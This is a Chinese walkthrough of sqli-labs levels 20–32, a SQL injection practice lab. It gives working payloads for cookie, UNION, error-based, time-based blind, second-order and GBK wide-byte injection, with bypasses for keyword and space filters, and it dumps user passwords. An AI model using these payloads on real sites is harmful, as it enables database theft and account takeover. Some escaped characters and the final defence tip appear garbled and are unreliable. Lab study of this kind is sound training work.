less-20
这关登陆成功会显示cookie,所以抓包在cookie处注入
less-21
这关登陆成功会显示cookie,所以抓包在cookie处注入,发现不成功,查看代码发现被编码
先对注入语句进行base64编码再注入
less-22
闭合字符",同21关
less-23
这关查看代码发现#和--被替换为空格,注释符号被过滤用编码形式和通过括号空格的方式都不成功
使用报错注入就可以,单引号放在1前面
有长度限制也可以联合查询,注释没用可以用单引号闭合
sql
?id=1' or '1'='1
//这样sql语句就变成 id='1' or '1'='1'
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
less-24
第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的
猜测管理员账户admin,创建一个admin'#账户由于存在特殊字符转义会创建成功
然后修改密码,由于没有对修改密码过滤,发现最终修改的是管理员密码
修改密码时,数据库内更新数据语句:(pass_change.php)
sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";
带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";
less--25 and or
输入order by显示被过滤成rder by ,可以考虑双写绕过
?id=1%27%20oorrder%20by%203--+
4报错,3正确,是三列,可以使用联合查询
?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),3--+ //查看表名
?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27users%27),3--+ //查看列名
?id=-1%27%20union%20select%201,(select%20group_concat(username,0x23,passwoorrd)%20from%20users),3--+
//求字段
报错注入
?id=1%27%20||%20updatexml(1,concat(0x23,database(),0x23),1)--+
?id=1%27%20%26%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema=%27security%27),0x23),1)--+ //也可以用编码代替
less-25a整数闭合,报错没有回显,同25
less-26 空格
单引号闭合空格被过滤,可以加引号闭合
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
?id=1%27||(updatexml(1,concat(0x23,database(),0x23),1))||(%271%27)=%271
?id=1%27||(updatexml(1,concat(0x23,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=%27security%27)),0x23),1))||(%271%27)=%271
less-26a
没有报错信息,用联合查询或者盲注,使用时间盲注
?id=1')%26%26(if(ascii(substr(database(),1,1))>115,sleep(3),0));%00
less-27
过滤
大小写绕过,报错注入
联合查询
less-28
过滤union select组合,报错无回显可以使用时间盲注
宽字节注入less-32
过滤 ' 的时候往往利用的思路是将 ' 转换为 ' 。 在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路: (
1)%df 吃掉 \ 具体的方法是 urlencode(') = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 ' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数: 1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。 2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一 (防御此漏洞,要将 mysql_query 设置为 binary 的方式)
\x00 \n \r \ ' " \x1a
(防御,将mysql设置为gbk即可)